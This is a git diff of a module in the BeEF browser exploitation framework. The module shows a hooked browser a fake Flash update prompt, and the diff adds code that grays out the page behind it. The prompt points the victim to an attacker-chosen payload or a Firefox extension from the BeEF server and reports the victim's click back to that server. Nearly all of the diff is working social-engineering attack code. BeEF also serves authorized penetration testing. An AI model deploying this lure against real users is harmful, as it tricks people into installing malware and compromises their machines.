diff --git a/modules/social_engineering/fake_flash_update/command.js b/modules/social_engineering/fake_flash_update/command.js index 1ca7f9bfb..0728c40f3 100755 --- a/modules/social_engineering/fake_flash_update/command.js +++ b/modules/social_engineering/fake_flash_update/command.js @@ -6,40 +6,85 @@ beef.execute(function() { - // Module Configurations - var image = "<%== @image %>"; - var payload_type = "<%== @payload %>"; - var payload_uri = "<%== @payload_uri %>"; + // Module Configurations + var image = "<%== @image %>"; + var payload_type = "<%== @payload %>"; + var payload_uri = "<%== @payload_uri %>"; - var beef_root = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port; - var payload = ""; + var beef_root = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port; + var payload = ""; - // Payload Configuration - switch (payload_type) { - case "Custom_Payload": - payload = payload_uri; - break; - case "Firefox_Extension": - payload = beef_root + "/api/ipec/ff_extension"; - break; - default: - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=payload not selected'); - break; + // Function to gray out the screen + var grayOut = function(vis, options) { + var options = options || {}; + var zindex = options.zindex || 50; + var opacity = options.opacity || 70; + var opaque = (opacity / 100); + var bgcolor = options.bgcolor || '#000000'; + var dark=document.getElementById('darkenScreenObject'); + if (!dark) { + var tbody = document.getElementsByTagName("body")[0]; + var tnode = document.createElement('div'); + tnode.style.position='absolute'; + tnode.style.top='0px'; + tnode.style.left='0px'; + tnode.style.overflow='hidden'; + tnode.style.display='none'; + tnode.id='darkenScreenObject'; + tbody.appendChild(tnode); + dark=document.getElementById('darkenScreenObject'); } + if (vis) { + var pageWidth='100%'; + var pageHeight='100%'; + dark.style.opacity=opaque; + dark.style.MozOpacity=opaque; + dark.style.filter='alpha(opacity='+opacity+')'; + dark.style.zIndex=zindex; + dark.style.backgroundColor=bgcolor; + dark.style.width= pageWidth; + dark.style.height= pageHeight; + dark.style.display='block'; + } else { + dark.style.display='none'; + } + }; - // Create DIV - var fakediv = document.createElement('div'); - fakediv.setAttribute('id', 'fakeDiv'); - fakediv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;'); - fakediv.setAttribute('align', 'center'); - document.body.appendChild(fakediv); - - // window.open is very useful when using data URI vectors and the IFrame/Object tag - // also, as the user is clicking on the link, the new tab opener is not blocked by the browser. - fakediv.innerHTML = ""; - $j("#splash").click(function () { - $j(this).hide(); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=user has clicked'); - }); + // Payload Configuration + switch (payload_type) { + case "Custom_Payload": + payload = payload_uri; + break; + case "Firefox_Extension": + payload = beef_root + "/api/ipec/ff_extension"; + break; + default: + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=payload not selected'); + break; + } + + // Create DIV + var flashdiv = document.createElement('div'); + flashdiv.setAttribute('id', 'flashDiv'); + flashdiv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;'); + flashdiv.setAttribute('align', 'center'); + document.body.appendChild(flashdiv); + + // window.open is very useful when using data URI vectors and the IFrame/Object tag + // also, as the user is clicking on the link, the new tab opener is not blocked by the browser. + flashdiv.innerHTML = ""; + + // gray out the background + grayOut(true,{'opacity':'30'}); + + // clean up on click + $j("#flashDiv").click(function () { + $j(this).hide(); + document.body.removeChild(flashdiv); + grayOut(false,{'opacity':'0'}); + document.body.removeChild(document.getElementById('darkenScreenObject')); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=user has clicked'); + }); + });